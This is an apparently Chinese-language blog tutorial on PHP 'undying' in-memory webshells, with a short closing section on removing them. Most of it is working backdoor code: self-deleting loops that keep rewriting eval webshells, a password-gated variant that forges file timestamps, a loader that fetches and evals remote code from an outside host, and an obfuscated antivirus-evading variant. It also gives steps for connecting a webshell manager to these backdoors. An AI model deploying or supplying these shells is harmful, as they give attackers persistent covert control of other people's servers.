php内存马
认识内存马
PHP 内存马常见形式为即 PHP 不死马,脚本运行后删除自身文件,利用死循环驻留在内存里,不断主动外连或等待连接,从而获取指令并且执行。
不死马的生命周期
问题由来:在大靶机时通过一句话木马使用 webshell 管理工具上传了不死马,上传成功后删除不死马,刚开始删不掉,过了一会儿再去删发现能被删掉了。
后在网上搜索(宝塔面板 php不死马
),查到一篇文章:
在这篇文章中说明了出现不死马失效的原因是宝塔默认配置了 request_terminate_timeout = 100
(100秒)
request_terminate_timeout
单个服务请求请求的超时时间,超过此时间后工作进程将被终止。当'max_execution_time' ini 选项由于某些原因无法停止脚本执行时,应使用此选项。
'0'表示关闭。单位:秒(默认)、分钟、小时或天。默认值:0。
request_terminate_timeout
是 PHP-FPM(PHP FastCGI Process Manager)的一个配置项,用于设置 PHP 请求终止的超时时间。当 PHP 脚本的执行时间超过了这个设定的时间限制,PHP-FPM 将会终止该请求的执行。官网文档中说它的默认值为0 。
而宝塔的 php 版本中 request_terminate_timeout
均为100秒,所有只要是宝塔面板部署的 php 环境,在没修改 request_terminate_timeout
值未更大值或关闭该配置时是没法实现不死马的。
可在宝塔的配置文件中查看 /www/server/php/80/etc
、/www/server/php/70/etc
、/www/server/php/56/etc
等目录下看到 php-fpm.conf
配置文件。
案例
一个基础的内存马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = "<?php @eval($_POST["cmd"]) ?>";
file_put_contents(".bk.php", $content);
usleep(5000);
}
?>
set_time_limit();
设置脚本最大的执行时间,0
即没有时间限制ignore_user_abort();
设置与远程客户端断开后是否继续执行脚本,1
/true
即不断开unlink(__FILE__);
执行完后删除自身$content = "<?php @eval($_POST["cmd"]) ?>";
shellcodefile_put_contents(".bk.php", $content);
打开文件,然后写入内容usleep(5000)
停一会,每隔 5000 毫秒写入一个新文件
带认证的不死马马
防止内存马被别人复用,可以通过携带 MD5 值的马来使用。
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["ispass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmdkey"]);}?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(5000);
}
?>
e10adc3949ba59abbe56e057f20f883e
123456 的 md5 值,用户传入的值计算出的 MD5 值和该值一样的话,就继续执行@eval($_POST['cmdkey'])
,这也是整个认证不死马中的灵魂$shell="<?php substr(md5(\$_GET['x']),28)=='acd0'&&eval(\$_POST['c']);?>";
md5=lostwolf 使用字符截取实现密文加盐system('touch -m -d "2021-01-01 00:00:01" .shell.php');
修改文件的修改时间为2021年1月1日
将内容写入 ma.php
文件中,访问 http://exp.com/ma.php
即可触发,然后用URL http://exp.com/.shell.php?ispass=123456
,和 cmdkey
作为连接密码使用 webshell 管理工具连接。
远程加载shellcoude
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777); // 更改文件的权限
// 删除当前 PHP 脚本文件
unlink($_SERVER['SCRIPT_FILENAME']);
// 设置用户中止连接不会停止脚本执行
ignore_user_abort(true);
// 设置 PHP 脚本的执行时间限制为0,即无限制执行
set_time_limit(0);
// 远程恶意脚本
$remote_file = 'http://phpeval.com/eval.txt';
// 远程加载脚本执行,每5s执行一次
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
-
$_SERVER['SCRIPT_FILENAME']
:这是一个超级全局变量,返回当前正在执行的脚本的绝对路径。也就是说,它指向这个 PHP 文件本身。
eval.txt
如下
file_put_contents('test.txt','webshell test'.time());
time()
是一个内置函数,它返回当前时间的 Unix 时间戳。如果当前 Unix 时间戳是 1701513600
,那么写入文件的内容将是类似于 'webshell test1701513600'
。每次运行这个代码时,文件中的内容可能会不同,因为时间戳在不断更新。
免杀不死马
<?php
static $time =10000 ;
static $yourcode = 'PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4='; # <?php eval($_POST['c']);?>
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
fwrite($myfile,$author);
return Fread($myfile,"111");
}
class FileRead{
function __construct($read,$num){
$a = 1;
if ($num != Null)
$a = strlen($num);
print Fread($read,$a);
}
function test(){
echo "<br>"."ok\n";
}
function eb($yijufa){
$b = "_46esab";
$e = "edocne";
$eb = srv($e.$b);
return $eb($yijufa);
}
function db($jiekai){
$c = "_46esab";
$a = "edoced";
$db = srv($a.$c);
return $db($jiekai);
}
function zhixing($hiddden){
$ss = "ss";
$tt = "tt";
$yy = "yy";
$ee = "em";
$db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
return $db($hiddden);
}
}
function srv($str){
$new_str = "";
for ($i = strlen($str)-1;$i >= 0; $i--){
$new_str .= $str{$i};
}
return $new_str;
}
ignore_user_abort(true);
set_time_limit($time);
while(1)
{
$clear = fopen("log.php", "r");
fgets($clear);
echo $tmp = "\n".fgets($clear);
$myfile = fopen("log.php ", "a+");
$a = $myfile;
$b = new FileRead($a,"asdasdasdasdasdasd");
$t = date('Y-M-D H:i:s',time());
$tt = $b->eb($t);
unlink(__FILE__);
$code = $yourcode;
if(md5($tmp)===md5($b->db($code)))
{
echo md5($tmp)."\n";
echo md5($b->db($code));
}
else
EasyTo($a,$b->db($tt.$code));
echo $b->zhixing(srv("birtta")." +s +h log.php");
fclose($clear);
fclose($myfile);
usleep(5000);
}
?>
清理不死马
- 条件允许情况下,重启服务
- kill掉php服务启动用户下的所有子进程
ps -ef | grep php-fpm | awk '{print $2}' | xargs kill -9
- 使用条件竞争写入同名正常文件取代不死马,usleep需要小于不死马设定时间
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = 'kill backdoor';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(1000);
}
?>
参考
关于PHP不死马和Python内存马的分析与总结
分享一个Php免杀和一个隐蔽内存马
PHP内存马之不死马
不死马的原理和利用
小记一个PHP不死马